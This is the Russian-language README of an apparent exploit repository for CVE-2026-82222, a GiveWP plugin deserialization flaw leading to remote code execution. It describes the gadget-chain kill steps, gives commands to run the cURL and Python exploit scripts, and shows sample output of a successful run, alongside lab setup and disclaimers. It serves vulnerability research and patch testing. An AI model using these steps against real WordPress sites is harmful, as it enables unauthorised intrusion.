Proof-of-concept и локальная лаборатория DDEV для CVE-2026-82222 — неаутентифицированная инъекция PHP-объектов с переходом к RCE в плагине WordPress GiveWP, включая эксплойт-скрипты на cURL и Python.
Лаборатория + proof-of-concept для CVE-2026-82222: неаутентифицированная инъекция PHP-объектов, приводящая к удалённому выполнению кода в плагине пожертвований GiveWP для WordPress <= 4.16.7.1 (исправлено в 4.16.7.2).
| CVE | CVE-2026-82222 |
| CVSS | 10.0 (Critical) |
| CWE | CWE-502 — Deserialization of Untrusted Data |
| Затронуто | GiveWP (Donation Plugin) <= 4.16.7.1 |
| Исправлено | 4.16.7.2 |
| Рекомендации | Patchstack |
ТОЛЬКО АВТОРИЗОВАННОЕ ТЕСТИРОВАНИЕ. Этот репозиторий предназначен для обучения, исследования уязвимостей и тестирования систем, которыми вы владеете или на тестирование которых у вас есть явное разрешение. Неавторизованное использование незаконно.
Этот репозиторий существует, чтобы помочь специалистам по безопасности
понять, обнаружить и защититься от CVE-2026-82222. Все демонстрации
разработаны для локальной лаборатории (lab/), которую вы запускаете на
своей машине. PoC ничего не записывает на диск и не изменяет настройки
плагина — вывод команды передаётся только в HTTP-ответе триггерного запроса.
Полный объём и политику отчётности см. в SECURITY.md.
├── lab/ # DDEV + WordPress + GiveWP 4.16.5.1 vulnerable lab
│ ├── setup.sh # one-command lab build
│ ├── set-givewp-version.sh # swap vulnerable/patched GiveWP versions
│ ├── .ddev/config.yaml # DDEV project config
│ └── README.md
├── poc/
│ ├── cve-2026-82222.sh # cURL exploit script
│ ├── poc.py # Python exploit script
│ └── requirements.txt
├── docs/
│ ├── ANALYSIS.md # technical write-up + reachability matrix
│ ├── BURP-MANUAL.md # Burp Repeater walkthrough (request/response)
│ └── CURL-POC.md # copy/paste cURL walkthrough
├── SECURITY.md # scope, reporting and safe-use policy
└── LICENSE
Четыре неаутентифицированных запроса плюс один триггер:
users_can_register и выдаёт аутентифицированные WP-cookies.TCPDF → Symfony Session →
DonorFactory → system) в метаполе last_name аккаунта.give_last; GiveWP заполняет имя
из БД, десериализует гаджет с allowed_classes=false и
сериализует живой граф объектов в wp_give_sessions.unserialize(); TCPDF::__destruct() достигает
call_user_func_array('system', [cmd]). Вывод появляется в HTTP-ответе —
ничего не записывается на диск.Полные детали: docs/ANALYSIS.md
cd lab
bash setup.sh
# -> https://cve-2026-82222.ddev.site
# form id printed at the end, gateway: manual, WP admin: admin/<random>
Требуется Docker + DDEV.
cd poc
pip install -r requirements.txt
# cURL
bash cve-2026-82222.sh https://cve-2026-82222.ddev.site id <FORM_ID>
# Python
python3 poc.py https://cve-2026-82222.ddev.site <FORM_ID> -c id -g manual -a 10.00 -v
# fingerprint only (no exploitation)
python3 poc.py https://cve-2026-82222.ddev.site --check
Оба PoC по своей конструкции работают с одной целью — режима пакетного
или массового сканирования нет. Запускайте их только против лаборатории в
lab/ или систем, на тестирование которых у вас есть разрешение.
Ожидаемый вывод при успехе (команда id):
[*] CVE-2026-82222 kill chain on https://cve-2026-82222.ddev.site (form 5)
[*] 1/5 Registering cve_1b290e (GiveWP ignores users_can_register) ...
-> HTTP 302
[+] auth cookie obtained
[*] 2/5 Fetching profile nonce ...
[+] nonce=a0fd84c9d7 user_id=7
[*] 3/5 Building POP gadget for command: id
[*] 4/5 Storing gadget in wp_usermeta.last_name ...
-> HTTP 302
[+] gadget planted
[*] 5/5 Poisoning wp_give_sessions (HTTP 500 is expected) ...
-> HTTP 500
[+] session poisoned
[*] Triggering RCE ...
[+] COMMAND OUTPUT (id) from /?give_action=view_receipt :
uid=501(sajjadsiam) gid=20(dialout) groups=20(dialout)
cd lab
bash set-givewp-version.sh 4.16.7.2 # patched build
cd ../poc
python3 poc.py https://cve-2026-82222.ddev.site <FORM_ID> -c id -v
# -> chain dies; no output
| GiveWP | Статус |
|---|---|
| <= 4.16.5.1 | Уязвим — установка по умолчанию полностью достижима |
| 4.16.6 – 4.16.7.1 | Уязвим — требуется устаревшая (не V3) форма; для регистрации нужен give_register_nonce |
| 4.16.7.2 | Исправлено |
Этот репозиторий предоставлен исключительно в образовательных целях и для исследований в области защитной безопасности. Включённый код демонстрирует документированную уязвимость, чтобы защитники могли создавать средства обнаружения, проверять исправления и тестировать собственные системы.
Авторы не несут ответственности за любое неправомерное использование или ущерб, причинённый этим материалом. Не используйте его против любой системы без явного разрешения — это может нарушить Computer Fraud and Abuse Act (CFAA) и аналогичные законы по всему миру. См. SECURITY.md.
MIT — см. LICENSE.